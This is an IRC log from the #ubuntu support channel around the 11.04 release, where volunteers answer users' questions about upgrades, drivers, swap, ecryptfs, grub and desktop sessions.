[21:22] <citn> Hi, I am currently listening to some internet radio. How can I record it in Ubuntu?
[21:22] <tashkas> how i can share IGMP over shared connection between two lan cards????
[21:22] <ohsix> Rehan: the definition of stable is fixed & supported, by backports of fixes or otherwise
[21:22] <the67pc> yes lock with a black screen
[21:23] <ohsix> nerdshell: ok sec
[21:23] <the67pc> wait a minute
[21:23] <hypetech> the67pc: ctrl+alt+L
[21:23] <LjL> the67pc: ubuntu has that by default, it locks after a while
[21:23] <sgaap> Bisa: sudo apt-get install startupmanager
[21:23] <tensorpudding> Shoogy: is your machine public-routable?
[21:23] <LjL> the67pc: please try to keep your sentences on one line, it's busy here
[21:23] <nutsfornatty> the offical ati drivers are out for 11.04... no clue about nvidia atm
[21:23] <acicula> the67pc: tried clicking on lock screen instead of logout/halt?
[21:23] <escott> the67pc, gnome-screensaver-control -lock
[21:23] <Bisa> sgaap, thnx
[21:23] <sgaap> Bisa; havent tested it myself so im not sure what it can do
[21:23] <acicula> the67pc: top right corner
[21:23] <the67pc> nooo people
[21:23] <the67pc> wait
[21:23] <ejv> is it out? :)
[21:23] <uofm49426> anyone tell me how to edit videoram in 10.10
[21:23] <Witchsong_> http://cdn.omgubuntu.co.uk/wp-content/uploads/2011/01/2yxnj3c_thumb.jpg <-- Anyone know what icon set is used there?
[21:23] <ohsix> sgaap: it comes with one
[21:23] <LjL> ejv: quite
[21:23] <sgaap> Bisa, you should run it with sudo at least
[21:23] <acicula> uofm49426: eh, that does not compute
[21:23] <ejv> has that dreadful power regression been fixed?
[21:24] <Monotoko> any flight sims for Linux you guys know of?
[21:24] <ejv> the one phoronix wrote about?
[21:24] <ryankask> i can't boot the live 11.04  CD without having a flickering screen with all sorts of colored lines... should i try to upgrade from 10.10 and debug from there? were there any many changes to hardware support in 11.04?
[21:24] <the67pc> see this: http://migre.me/4nL2Q
[21:24] <LjL> !info flightgear | Monotoko
[21:24] <ubottu> Monotoko: flightgear (source: flightgear): Flight Gear Flight Simulator. In component universe, is extra. Version 2.0.0-3 (natty), package size 2549 kB, installed size 6448 kB
[21:24] <acicula> ejv: isnt that for a newer kernel?
[21:24] <the67pc> the document is Brazilian
[21:24] <Bisa> sgaap, yeap, brb and thnx again ^^
[21:24] <ohsix> uofm49426: do you mean ram or the BAR/pci stuff?
[21:24] <Monotoko> excellent
[21:24] <sgaap> ejv: i dont think so, still in the lastest kernel release
[21:24] <escott> Monotoko, flightgear
[21:24] <the67pc> but have a text down with the video
[21:24] <sgaap> Brisa: gl
[21:24] <NickUK`> What's the best way to write a BootCD of Ubuntu in Ubuntu?
[21:24] <Rehan> ohsix: know of any laptop that would have the same out of the box functionality with Ubuntu as Win7? I must just have bad luck with the two I have
[21:24] <skulltip> Monotoko - X-plane is best commercial one
[21:24] <acicula> NickUK`: just right click an iso and select burn?
[21:24] <the67pc> you can't read it with google translate
[21:24] <ohsix> ejv: the one phoronix speculates about you mean?
[21:24] <uofm49426> max ubuntu by default in ubuntu is 8 mb
[21:24] <sam555> hello all!
[21:25] <sam555> which log in /var/log would tell me when the computer restarted?
[21:25] <dotblank> Rehan, its usually the wireless cards I have issues with
[21:25] <ohsix> Rehan: yea probably bad luck
[21:25] <NickUK`> acicula,  Alright- I was just wondering if you needed another application to make it bootable like the Windows ImgBurn/MagicISO etc
[21:25] <uofm49426> for my i915
[21:25] <NickUK`> Thanks though
[21:25] <the67pc> You don't have to learn Portuguese
[21:25] <ejv> ohsix: haha it looked pretty convincing, especially with the unlabeled X-axes ;)
[21:25] <escott> sam555, syslog should say
[21:25] <acicula> sam555: uptime will tell you when it last restarted
[21:25] <ohsix> Rehan: worst case for me out of lots of trials is nonworking feature keys
[21:25] <ejv> sgaap: :(
[21:25] <LAcan> is there a way to safely delete my swap partition and add it to my existing filesystem?
[21:25] <uofm49426> it can use 128
[21:25] <ejv> acicula: not sure
[21:25] <sam555> thanks escott and acicula
[21:25] <ohsix> ejv: thats what they do, unfortunately all that they do
[21:25] <acicula> sam555: but syslog or messages will probably log restart mssges
[21:25] <dotblank> LAcan, you can swapof
[21:25] <escott> LAcan, swapoff and then grow, but not advisable if you run out of memory
[21:25] <dotblank> and if you use lvm you can add it while the system is running
[21:26] <Rehan> ohsix: yeah i don't even expect those to work ever when i'm installing ubuntu
[21:26] <LjL> uhm the67pc, i understand now, but i should warn you that this kind of "face recognition" software is really not  very secure. a good password is better.
[21:26] <acicula> uofm49426: oh you want to increase the amount of video memory available
[21:26] <LAcan> escott, dotblank i have 8GBS of physical memory... is running out a likely problem?
[21:26] <ohsix> ejv: fwiw i have seen very slight temp increases, but if it affects battery life, on my laptop it's like 3 minutes out of 2 hours
[21:26] <tasslehoff> VCoolio: layout -> options -> key to choose 3d level -> any alt key = problem fixed :)
[21:26] <the67pc> I know LjL but, is for security for people don't have a security password
[21:26] <dotblank> LAcan, no  not likely but a kernel starved of memory does some pretty terrible things
[21:26] <acicula> uofm49426: eh, you can set that in the bios for integrated graphics i would think, maybe look at what its set at there? are you sure you can even set it higher then 8Mb?
[21:26] <ryankask> is there any way to inspect graphics card issues from the natty live cd?
[21:27] <dotblank> LAcan, I hear you can create a swap file and loopback mount it
[21:27] <Leo> escott: That did it! I got up to about 2500 bits and blasted the 2192-bit key through before it could drop again. For some reason the buffer runs down quickly until it gets down to about the 100-200 bit range where it bounces around.
[21:27] <uofm49426> yes
[21:27] <ryankask> i.e. abort x
[21:27] <escott> LAcan, it could
[21:27] <tasslehoff> VCoolio: no... then the desktop switching stopped working... argh.
[21:27] <acicula> ryankask: yeah you can
[21:27] <LAcan> dotblank, gotcha... now this swapoff... i can just run that through a terminal window?
[21:27] <ohsix> ryankask: getting a black screen? intel or nvidia
[21:27] <bashelina> i want to install ubuntu from an usb drive... from an existing ubuntu system
[21:27] <Gorilla_No_Baka> hello everyone
[21:27] <ryankask> ohsix:  i'm not getting a black screen i'm getting a flicekring screen
[21:27] <escott> Leo, excellent mine seems to drop too i'm not sure what could be using entropy you could lsof /dev/random
[21:27] <ohsix> ryankask: and the other question?
[21:28] <VCoolio> tasslehoff: at least you now know you need 3rd level for those keys; set another key for that
[21:28] <ryankask> ohsix: very hard to see but http://www2.ryankaskel.com/misc/images/screenshots/natty-startup.jpg
[21:28] <acicula> how do i enable ecryptfs for an existing user
[21:28] <uofm49426> bios no
[21:28] <dotblank> LAcan, yea.. but I don't know if you can grow ext3/4 while running the system on it
[21:28] <ohsix> ryankask: ah, intel then?
[21:28] <escott> LAcan, also without swap you can't suspend/resume
[21:28] <uofm49426> in windows it uses drivers
[21:28] <ryankask> ohsix: basically i'm running 10.10 fine and i don't see why i can't boot into it. should i just try upgrading? or can i debug like i could if i upgraded from the live CD?
[21:28] <LAcan> dotblank, i can run swapoff and then boot some other OS to grow the partition... sound right?
[21:28] <escott> LAcan, any grown of a mounted partition must happen offlien
[21:28] <ryankask> ohsix: it's on board intel and nvidia
[21:28] <[dlp]> acicula: It's complicated.
[21:29] <mang0> I can't even install 10.10 from the livecd!
[21:29] <acicula> [dlp]: thats ok
[21:29] <dotblank> LAcan, if you boot into another OS/source you don't even need to swapoff
[21:29] <mang0> .__.
[21:29] <SubCool> How come this command creates a loop of x11vnc: echo "/usr/bin/x11vnc -forever -rfbport 5900 -rfbauth ~/.vnc/x11vnc.pass -o ~/.vnc/x11vnc.log -loopbg -display :0" > ~/.kde/Autostart/x11vnc.sh chmod +x ~/.kde/Autostart/x11vnc.sh
[21:29] <ohsix> ryankask: reclocking lvds can do that, but it's a bug, reporting it with a picture should be enough, the intel developers know what it is
[21:29] <LAcan> dotblank, i can just nuke it?
[21:29] <[dlp]> acicula: You can easily create an encfs filesystem.
[21:29] <adwonw> I just installed Ubuntu. Why doesn't it run Unity, but gnome?
[21:29] <dotblank> LAcan, you should.. and if doesn't let you nuke it then you swapoff
[21:29] <jnlsnl_> can i give root same ssh keys as an user
[21:29] <[dlp]> acicula: But do you want to use it for authentication and encrypt the whole home directory?
[21:29] <ryankask> ohsix: where should i report that?
[21:29] <ohsix> [dlp]: bad advice :[
[21:29] <acicula> [dlp]: i just want to enable ubuntus default ecryptfs where it mounts .Private on login in the users home directory
[21:29] <Dominater> how do i enable 3D cube on 11.04?
[21:29] <SubCool> More or less: this part. /usr/bin/x11vnc -forever -rfbport 5900 -rfbauth ~/.vnc/x11vnc.pass -o ~/.vnc/x11vnc.log -loopbg -display :0
[21:30] <ryankask> ohsix: and should i cancel my upgrade of natty until it's fixed
[21:30] <dotblank> jnlsnl_, yes you can.. the ssh keys are stored in ~/.ssh
[21:30] <uofm49426> in the xorg i just need to add VideoRam    130560  but there is no xorg.conf anymore
[21:30] <woodn> im pretty stuck on an issue with crypt() - both my jabber server and any program i try to write complain about crypt() being undefined...and i just can't seem to find what might have happened in the upgrade to cause this
[21:30] <LAcan> dotblank, maybe aill swapoff just to be safe then boot windows and extend the partition... sound safe?
[21:30] <Leo> escott: Good question: lsof /dev/random return an empty list here for me. Thank you for your help!
[21:30] <adwonw> Is gnome the default interface in Ubuntu 11.04 or wht?
[21:30] <dotblank> jnlsnl_, you can also symlink the entire ~/.ssh folder to your user so they always stay in sync
[21:30] <jnlsnl_> dotblank so if i cp mu ssh keys from user/.ssh to root/.ssh it should work ?
[21:30] <profundo> no, unity is
[21:30] <dotblank> LAcan, windows will be unable to extend the partition
[21:30] <uofm49426> its a thinkpad x41
[21:30] <[dlp]> acicula: I don't know how it works throught the GUI,
[21:31] <ohsix> ryankask: well, you can use xorg-edgers after the install probably, chances are it already includes the fix, but with respect to ubuntu it needs the bug reported so they can backport the fix
[21:31] <dotblank> jnlsnl_, yes
[21:31] <adwonw> Then why doesn't Unity load, but gnome?!
[21:31] <LAcan> dotblank, because its ext? i should use a linux grow util like parted then?
[21:31] <Dominater> how do i enable 3D cube on 11.04?
[21:31] <dotblank> LAcan, aye
[21:31] <BajK> what i dont understand is: is there no standardized API or something for graphics/resoluiton settings? In Windows no matter which driver you use (and I doubt they are open source) you can manage them from the exact same spot (at least the basic functions) without problem, in Linux with the proprietary drivers you always need to rely on those shitty tools they bring with
[21:31] <LAcan> dotblank, escott thanks guys, wish me luck!
[21:31] <[dlp]> acicula: I've done it manually.
[21:31] <golona> golona
[21:31] <escott> jnlsnl_, you may have permission problems with that
[21:31] <ohsix> adwonw: pick the other session on the login screen
[21:31] <|Seth|> Hey! So I need some help with grub
[21:31] <[dlp]> acicula: You have to set up pam_encfs
[21:32] <golona> lkll
[21:32] <dotblank> escott, but he'll be root :)
[21:32] <ohsix> [dlp]: bad advice
[21:32] <Confusionist> Hey, I'm upgrading from maverick to natty and running into a problem with the Python upgrade that turned into a blocker for finishing it. It's complaining that: "Setting up python2.7-minimal (2.7.1-5ubuntu2) ...
[21:32] <Confusionist> Linking and byte-compiling packages for runtime python2.7...
[21:32] <Confusionist> E: pycompile:240: Requested versions are not installed"
[21:32] <acicula> [dlp]: eh k, got a linky somewhere or something?
[21:32] <[dlp]> Yeah?
[21:32] <adwonw> ohsix, I tried Ubuntu, Ubuntu classic etc. None is Unity.
[21:32] <corecode> how do i get gnome-panel to start by default?
[21:32] <ryankask> ohsix: hmm i believe i use edgers on 1.10 now... where should i report this?
[21:32] <tensorpudding> BajK: what exactly is it you want for a "standard api"
[21:32] <guntbert> |Seth|: what is the problem?
[21:32] <[dlp]> ohsix: So what would you suggest?
[21:32] <golona> revolution
[21:32] <ohsix> [dlp]: doing what he asked to do
[21:32] <guntbert> golona:  Do you have an ubuntu support question?
[21:32] <|Seth|> guntbert: error: symbol not found 'grub_env_export'
[21:32] <xyos_> is there a way to use xmonad and gnome 3, unity has failed me
[21:32] <adwonw> I'm running a new Ubuntu installation by the way.
[21:33] <jdahm> I'm getting an error: "ERROR: modinfo: could not find module nvidia_current"  And then the installer seems to have stopped, but nothing has crashed
[21:33] <ryankask> ohsix: if I use edgers now will it upgrading to natty downgrade it?
[21:33] <Confusionist> There's some bugs with this issue, but they are several months old and things have been changed afterwards
[21:33] <jdahm> is this something I should just wait for or try again?
[21:33] <escott> dotblank, unless ssh changes ownership of the file. he could add a host as root and find it broken for jnlsnl_
[21:33] <BajK> tensorpudding: as I said: in windos no matter which driver you use, you can change screen resolution and everything by using the Desktop settings while in Linux you always have to rely on the tools the driver makers provide
[21:33] <ohsix> ryankask: you'd need to add it after the natty upgrade
[21:33] <Confusionist> Anyone an idea what the best way to resolve this would be?
[21:33] <|Seth|> guntbert: Just installed 11.04
[21:33] <dotblank> jdahm, it is because you don't have the nvidia driver installed
[21:33] <dotblank> escott, only if he symlinks
[21:33] <k_89> hi ... i have a question... will upgrading my distro via the update manager remove my files in /usr and my installations of apache, django, etc
[21:33] <guntbert> |Seth|: never seen before ... did you upgrade from 10.10?
[21:33] <|Seth|> guntbert: yeah
[21:33] <tensorpudding> BajK: i'm pretty sure that the Resolution thing works with any driver you want
[21:33] <ryankask> ohsix: ok I've backed everything up I'm just going to give it a go
[21:33] <jdahm> dotblank: ok, but I'm just installing 11.04.  Why would it expect that I have it
[21:33] <jnlsnl_> PHP is run as the "www-data" user right?
[21:34] <escott> BajK, we have xrandr, but nvidia doesn't support it fully
[21:34] <ohsix> acicula: run ecryptfs-setup-private from a terminal
[21:34] <[dlp]> acicula: Ignore me then. Apparently I don't know what I'm talking about.
[21:34] <profundo> Hi, I am trying to update to ubuntu 11.04 from 10.10 and the update manager is freezing up and then saying to check my internet connection. it's only doing this for the distro update, other updates are fine. Anyone know why that might be? thanks
[21:34] <jdahm> dotblank: thats sort of what I expected but how can I make it continue and not worry about that?
[21:34] <darkz> Hey everyone... i installed 11.04 and now i can no longer connect to my wifi.. doesnt even show up, other AP's show up.. tested it from my 10.10 box, works fine... any ideas?
[21:34] <xyos_> if you installed django and apache from apt it wont remove them it will upgrade them
[21:34] <k_89> jnlsnl_, thats apache running as www-data, but apache tuns php, so, yes
[21:34] <dotblank> jdahm, well.. it could have gotten messed up the install. try using the proprietary driver install tool
[21:34] <k_89> php runs as www-data
[21:34] <guntbert> |Seth|: as I said, never seen - but it looks like the upgrade didn't run through completely
[21:34] <nerdshell> How can I downgrade to 10.10 please
[21:34] <|Seth|> guntbert: I looked around, and I can fix grub from a live CD, but I'd like to know if it has to be 11.04, or...?
[21:34] <soreau> darkz: What wifi chip is it?
[21:34] <adwonw> So, does anybody have any clue as to why only gnome loads in a new Ubuntu 11.04 installation?
[21:35] <ohsix> [dlp]: you very well may, but acicula would not know all the implications of encrypting everything without a lot of work; simply suggesting he enable it is a bad idea
[21:35] <jdahm> dotblank: I'm still on the livecd installing...
[21:35] <jnlsnl_> Ok... i need to somehow give "www-data" the same ssh keys as my "ubuntu" user
[21:35] <acicula> ohsix: will that setup an encrypted home dir or just an encrypted Private directory
[21:35] <jdahm> dotblank: it's not even done installing
[21:35] <sgaap> darkz: if your connection is ok maybe flush the dns cache?
[21:35] <jdahm> dotblank: it's just sitting there
[21:35] <dotblank> jdahm, oh well is it continueing regardless?
[21:35] <Stameni> is there any diference in performance if i setup separate /home partiton and if I don't  ?
[21:35] <dotblank> oh...
[21:35] <nerdshell> How can I downgrade to 10.10 please?
[21:35] <darkz> broadcom.. uses the STA driver soreau
[21:35] <jiohdi> adwonw: it isnt the only one... I am using fvwm-crystal
[21:35] <k_89> Will my data be affected by upgrading ubuntu
[21:35] <TheRedOctober> Has anyone yet figured out dual head monitors on LXDE or XFCE on 11.04?
[21:35] <ohsix> acicula: encrypted private, you do not want to encrypt everything :] just move the important things to encrypted storage
[21:35] <acicula> [dlp]: you need pam_enc to be installed probably to integrated mounting the ecryptfs on login
[21:35] <soreau> ! broadcom | darkz
[21:35] <helo> is there any way to switch the handedness of unity?
[21:35] <ubottu> darkz: Help with Broadcom bcm43xx can be found at https://help.ubuntu.com/community/WifiDocs/Driver/bcm43xx
[21:35] <jdahm> dotblank: no, it seems to have stopped.  At least no other output is generated after that
[21:35] <nutsfornatty> switch to classic ubuntu instructions: go to login screen -> look at bottom panel -> change "ubuntu" to "ubuntu classic" -> login -> done
[21:35] <guntbert> |Seth|: no, it *should* work with any (recent) live CD  (but there *should* be no error either :-))
[21:35] <helo> i.e.- dash on the right instead of left
[21:35] <darkz> sgaap: dns cache has nothing to do with a ssid not showing hehe
[21:36] <profundo> no ideas?
[21:36] <acicula> ohsix: the ubuntu default these days is to mount ecrypt fs on the users home which is what i want
[21:36] <SubCool> PLEASE
[21:36] <|Seth|> guntbert: http://ubuntuforums.org/showthread.php?t=1677888
[21:36] <uofm49426> if no one tells me how to edit wicom i going to debian
[21:36] <|Seth|> guntbert: if I can do that with my 10.10 cd then all's golden
[21:36] <sgaap> darkz, ok, i assumed you had a connection because the other updates went fine
[21:36] <dotblank> jdahm, what graphics card do you have?
[21:36] <helo> uofm49426: debian is a great distro
[21:36] <darkz> soreau: that is added to that site for 11.04?
[21:36] <nerdshell> How can I downgrade to 10.10 please?
[21:36] <jdahm> dotblank: nvidia tesla
[21:36] <adwonw> nutsfornutty, yes, I already did that and it still loads gnome.
[21:36] <ohsix> acicula: it's for sure not default; people might think they want that but it's a horrible idea
[21:36] <escott> nerdshell, cant
[21:36] <cordoval_> hi
[21:36] <xyos_> you cant downgrade
[21:36] <dotblank> jdahm, whaaa
[21:36] <nutsfornatty> you are still using linux. :-)
[21:36] <jiohdi> nerdshell: reinstall from an old cd
[21:36] <acicula> ohsix: its been that way for a few releases
[21:37] <cordoval_> escott: I get an error with havlet on another installation of natty
[21:37] <cordoval_> anyone knows about a havlet error on install returning code 100
[21:37] <cordoval_> something is not right
[21:37] <jdahm> dotblank: it's a current nvidia card
[21:37] <|Seth|> guntbert: so, I'll just do that with my 10.10 cd. thanks!
[21:37] <ohsix> acicula: my fresh install has no encrypted storage and no clear means to enable any
[21:37] <acicula> ohsix: maybe you are confused? im not talking FDE, but the entire home is encrypted, not just /home/user/Private
[21:37] <adwonw> Yeah, right, but isn't it supposed to load unity by default?
[21:37] <mictlantecuhtle> Hi, hoping someone can help clarify something for me. Just upgraded to Natty, appear to be suffering from the following (quoted from Release Notes) - "Under certain conditions, on systems equipped with nvidia GPUs, focused or maximized windows may be blank". However, the bug it links to (763680) is as follows
[21:37] <dotblank> jdahm, isn't the tesla serierss those cuda cards?
[21:37] <[dlp]> #
[21:37] <mictlantecuhtle> "Dash appears under full screen apps"
[21:37] <nerdshell> jiohdi: yes, but I will lose all of my data =(
[21:37] <ohsix> acicula: i know what you're saying, i'm saying it is no default and a silly idea
[21:37] <k_89> JUST ONE QUESTION , WILL I LOSE MY /usr DATA ON UPGRADING UBUNTU TO 11.04
[21:37] <soreau> darkz: Most of the information should still be relevant I presume
[21:38] <escott> cordoval_, locate havlet returns nothing for me. no idea what that is
[21:38] <jiohdi> nerdshell: burn a cd with your data first
[21:38] <LjL> k_89: not normally, but a backup is still a good idea. also, please don't SHOUT
[21:38] <acicula> k_89: yes
[21:38] <guntbert> |Seth|: was just reading it - I don't see any reason why it would not work with your 10.10 CD
[21:38] <phonex01> guys how can i configure recordmydesktop to record audio with video ?
[21:38] <xyos_> you wont lose your data
[21:38] <LjL> acicula: yes?
[21:38] <jdahm> dotblank: it's a modern nvidia card.  It's something like a GTX495 or something
[21:38] <cordoval_> anyone havlet problem returning 100 while installing natty ubuntu
[21:38] <guntbert> |Seth|: Good luck :-)
[21:38] <|Seth|> guntbert: okay, thanks!
[21:38] <acicula> LjL: err, nvm
[21:38] <cordoval_> what do you mean havlet
[21:38] <acicula> k_89: no it stays there unless you reinstall and format
[21:38] <cordoval_> locate?
[21:38] <darkz> soreau: ok cuz this is a ubuntu 11.04 issue alone.. 10.10 and less works fine
[21:38] <mictlantecuhtle> so my questions, I guess, are as follows - (1) is this fixable? (2) any ideas why the Release Notes appear to link to the wrong bug (or am I missing something)?
[21:38] <ryankask> ohsix: where should i report this to?
[21:38] <adwonw> Right, so I tried every session option(e.g., Ubuntu Classic, Ubuntu) but all load gnome.
[21:39] <jdahm> dotblank: 01:00.0 VGA compatible controller: nVidia Corporation GF108 [GeForce GT 430] (rev a1)
[21:39] <[dlp]> acicula: Using it for auth *does* cause problems.
[21:39] <k_89> LjL, thanx, but really needed to know that, and the traffic here is mind-boggling
[21:39] <ohsix> acicula: but all the ecryptfs utilities are there, you can do what you like
[21:39] <escott> cordoval_, i don't know what havlet is. never heard of that program, its not on my system anywhere
[21:39] <jiohdi> adwonw: I had that problem, try typing unity into a term window
[21:39] <darkz> but brb lemme try this
[21:39] <dotblank> jdahm, well wow... I think you may have a fairly rare card if its a tesla series card.. your bug report would be valuable
[21:39] <cordoval_> wow
[21:39] <jdahm> dotblank: oh, it seems to have continued now
[21:39] <soreau> darkz: Does iwconfig show a wifi interface?
[21:39] <cordoval_> sorry it is halevt
[21:39] <cordoval_> halevt
[21:39] <dotblank> jdahm, oh so its not a tesla or at least it is one but has the chip for the gt 430
[21:39] <acicula> [dlp]: ecryptfs is not an authentication mechanism
[21:39] <cordoval_> escott: halevt
[21:39] <bisa> sgaap, yay! :D Im in, thank you so amazingly much ;P
[21:39] <ohsix> ryankask: launchpad.net, do you see that pattern _at_ boot or does it change after a while, like when the login screen might have started being displayed
[21:39] <[dlp]> acicula: It can be.
[21:40] <escott> cordoval_, hal i know what that is... not sure what evt is googling
[21:40] <darkz> soreau: yea, and when i scan i get 10+ SSID's but not my own
[21:40] <ohsix> [dlp]: no, pam can mount it with your credentials; that is something else
[21:40] <ryankask> ohsix: it's _very_ blurry but yes i can see text in the screen
[21:40] <escott> cordoval_, hal events manager
[21:40] <nastjuid> Would the 570 be tesla as well?
[21:40] <nutsfornatty> calibre keeps locking up in natty (using software center version)
[21:40] <bisa> sgaap, ch-something something mounting all partitions and installing grub that way worked like a charm =)
[21:40] <jdahm> dotblank: ok it's done installing now.  Now I have to deal with adding mdadm to the startup modules and then I should be OK.  I'll keep you posted on what happens after I restart
[21:40] <cordoval_> hmm, so it fails  loading usbs? let me try
[21:40] <sgaap> good to hear
[21:40] <Deft0nes> hey i just upgraded to ubuntu 11.04 stable, which seems to be working fine except the text in the top pane is barely visible
[21:40] <happyface> can I remove the 11.04 sidebar and have it look like the other releases?
[21:41] <[dlp]> ohsix: I see.
[21:41] <cordoval_> it does load usbs
[21:41] <hypetech> happyface: when you go to log in, choose "Ubuntu Classic" as your session
[21:41] <ohsix> ryankask: ok, then xserver-xorg-video-intel is what you probably want to file it against
[21:41] <jiohdi> happyface:  you can install one of the other desktops or just use classic
[21:41] <[dlp]> oic
[21:41] <cordoval_> wonder what other effects halevt would mess up
[21:41] <nutsfornatty> switch to classic ubuntu instructions: go to login screen -> look at bottom panel -> change "ubuntu" to "ubuntu classic" -> login -> done
[21:41] <darkz> soreau: btw i cant really use that site, i cant get online, eth doesnt work either
[21:41] <cordoval_> or how do I configure it properly or reinstall
[21:41] <cordoval_> because that will fix halevt
[21:41] <Guest35234> Anyone else have issues with upgrade process of downloading files taking FOREVER??
[21:41] <[dlp]> There is a wiki somewhere.
[21:41] <bisa> sgaap, make sur to go to sleep with a smile, u did someoone else really happy today =) now Im off, thnx again
[21:41] <Q-collective> Hey all. I have  a peculiar issue with my update-grub. It creates menu.lst files. Now, I'm on Grub 2, so it *should* be making grub.cfg files instead. Can anyone help me out?
[21:41] <dotblank> jdahm, and you ahve raid.. damn what system do you have
[21:41] <cordoval_> should I do sudo apt-get halevt? and see?
[21:41] <adwonw> nuts, already tried that; it still loads gnome.
[21:41] <bashelina> you cant combine default language english and have location in scandinavia .... wtf ?
[21:41] <acicula> [dlp]: ohsix ecryptfs-setup-private comes with a -a -all-home flag which setups an encrypted home, which is what i wanted
[21:41] <maco> Guest35234: how many thousands of people do you think are trying to download from the same servers as you?
[21:41] <sgaap> Brisa: yw
[21:42] <happyface> hypetech, jiohdi, thanks! The desktop users don't like change :P
[21:42] <slakar> hypershock where is he
[21:42] <adwonw> I typed "unity" in the terminal and this was the last line rendered:"Window manager warning: 0x1800003 (Bottom Exp) appears to be one of the offending windows with a timestamp of 167746096."
[21:42] <arand> Q-collective: Dod you have "grub" isntead of grub-pc installed?
[21:42] <adwonw> I assume it doesn't work.
[21:42] <ohsix> [dlp]: a tutorial or article on how to do it will not tell you the implications of doing so
[21:42] <maco> Guest35234: itll be slow for the next week
[21:42] <[dlp]> acicula: Be careful.
[21:42] <slakar> looking for a web designer
[21:42] <jiohdi> happyface: I went to fvwm-crystal
[21:42] <LjL> !ot | slakar
[21:42] <escott> cordoval_, sounds like a plan, and avoid hot plugging during the install
[21:42] <ubottu> slakar: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[21:42] <Q-collective> arand: I believe so
[21:42] <FoolsRun> Hey, is there an upgrade path from 10.04 to 11.04? Update-Manager is only showing 10.10 available.
[21:42] <Guest35234> That's what I figured
[21:42] <ohsix> acicula: i hope you read about the implications before you lose everything in an overreach
[21:42] <slakar> ok
[21:42] <profundo> I am trying to upgrade from 10.10 to 11.04 but the update manager is pausing and then saying I need to check that I am connected to the internet. Is it possible to upgrade manually?
[21:42] <guntbert> !language | bashelina
[21:42] <ubottu> bashelina: Please watch your language and topic to help keep this channel family-friendly, polite, and professional.
[21:42] <[dlp]> acicula: I had problems with this. encfs has a timeout
[21:42] <arand> Q-collective: Then that is your problem.
[21:42] <ryankask> ohsix: it's _very_ blurry but yes i can see text in the screen
[21:43] <Coty91> FoolsRun: You have to update to 10.10 first
[21:43] <ohsix> ryankask: i saw that
[21:43] <acicula> ohsix: best review how ecryptfs is setup on current ubuntu, the entire home is the default as of 9.10
[21:43] <nastjuid> jdahm: the tesla series cards would start with a C for the model number. C2070, C2050 . Is your card a GeForce GTX/Fermi based card?
[21:43] <FoolsRun> Coty91: Really? blech. Okay, thanks.
[21:43] <ohsix> acicula: then that is dumb
[21:43] <guntbert> FoolsRun: 10.04 -> 10.10 -> 11.04
[21:43] <bashelina> guntbert, help me instead of acting like a mom
[21:43] <[dlp]> acicula: if it times out while you're logged in, you start getting lots of "Transport endpoint not connected" errors.
[21:43] <ryankask> ohsix: sorry got disconnected. it's impossible to make out but when I ctl-alt-back i can see the colors reverting to a black screen and shutting donw
[21:43] <acicula> ohsix: i dont see why that is dumb
[21:43] <cordoval_> escott: it sayshlevt sub-processs post installation usr/bin/dpkg returned an error code 1
[21:43] <DaveCave23> anyone know a channel i can talk to people about powersupplys?
[21:43] <LjL> bashelina, mind the attitude. people here are volunteers.
[21:43] <corecode> how can i disable the "maximize when bumping a window to the screen border"?
[21:43] <guntbert> !guidelines | bashelina
[21:43] <ubottu> bashelina: The guidelines for using the Ubuntu channels can be found here: http://wiki.ubuntu.com/IRC/Guidelines
[21:43] <cdavis> How do you change an icon on the unity panel?
[21:44] <bashelina> LjL, so am I
[21:44] <nutsfornatty> bashelina: be nice. please.
[21:44] <[dlp]> acicula: And it doesn't seem to remount on demand.
[21:44] <cordoval_> halevt 0.1.6.2-1.3
[21:44] <soreau> corecode: Disable Grid plugin in ccsm
[21:44] <acicula> [dlp]: ohsix ive been using ecryptfs without problems for years, i was just curious about how to enable it for a user that did not use ecryptfs before
[21:44] <[dlp]> acicula: Possibly waiting for input (which is impoossible since it won't have a controlling term)
[21:44] <ohsix> acicula: where are you seeing that it's some default? you just said you need to pass --all-home to do it, what default is that?
[21:44] <guntbert> bashelina: are you talking about natty?
[21:44] <escott> cordoval_, seems to be common and hal is deprecated so i doubt this is getting lots of attention. if you have any usb devices plugged in i would remove them
[21:44] <LjL> bashelina: then you'll certainly see how there are 1800 users here today, everyone wants their question answered, and nobody wants to be subjected to stuff they don't want to see. as to your question, i haven't used Natty yet, but with previous versions i could certainly pick a different language than my locale.
[21:45] <ohsix> acicula: default has a very narrow meaning with ubuntu
[21:45] <bashelina> guntbert, yes
[21:45] <cordoval_> no usbs
[21:45] <ohsix> acicula: for example, banshee is now a "default"
[21:45] <cordoval_> ok I will leave it there
[21:45] <cordoval_> thanks
[21:45] <cordoval_> now to work on the dead asus g73
[21:45] <guntbert> bashelina: then I cannot help, sorry (only 10.10 here)
[21:45] <bashelina> guntbert, in previous version there was no problem having english and set locales to sweden
[21:45] <acicula> ohsix: if you install ubuntu it will ask you if you want an ecrypted home, it uses ecryptfs to set that up and encrypts your entire home. ecrypfs-setup without the home flag defaults to the Private directory
[21:45] <cordoval_> it has no response, just manual restore console
[21:45] <corecode> soreau: thanks!
[21:45] <cordoval_> what do I do¡? I already backed up my data
[21:45] <coco> what channel should i go to to ask about setting up my own irc server
[21:45] <vanguard> Is Natty's Gnome in any way inferior to Maverick's Gnome?
[21:46] <Lazer-B> okay guys should i update to 11.04 natty narwhal?
[21:46] <corecode> now if i only found how i can switch viewports while dragging windows...
[21:46] <BlouBlou> coco: #freenode
[21:46] <corecode> Lazer-B: sure
[21:46] <nastjuid> jdahm: oh, I see in the log. if you still have trouble with the card, let us know
[21:46] <ohsix> acicula: ok, it did not ask me that for 10.10 or 11.04, and that is something the installer would do, not a "default"
[21:46] <coco> thanks
[21:46] <BlouBlou> Lazer-B: should? If you're not using LTS versions, yes
[21:46] <ohsix> acicula: you can pick btrfs in the installer as well, but that's not a "default"
[21:46] <Lazer-B> i heard there was some thing where it messes everything up. is this only for elementary?
[21:46] <darkz> i feel like smacking a fist trugh my monitor... :(
[21:46] <guntbert> bashelina: but in my latest natty VM I had german locale and english language without any problem
[21:46] <Confusionist> Does anyone know what to do about Python 2.7 failing to install with: E: pycompile:240: Requested versions are not installed?
[21:46] <LjL> bashelina: an idea, why don't you try simply removing the packages for the scandinavian language ubuntu wants to use?
[21:47] <acicula> ohsix: http://karuppuswamy.com/wordpress/wp-content/uploads/2010/09/Screenshot8.png
[21:47] <LjL> bashelina: there is probably a better way, mind.
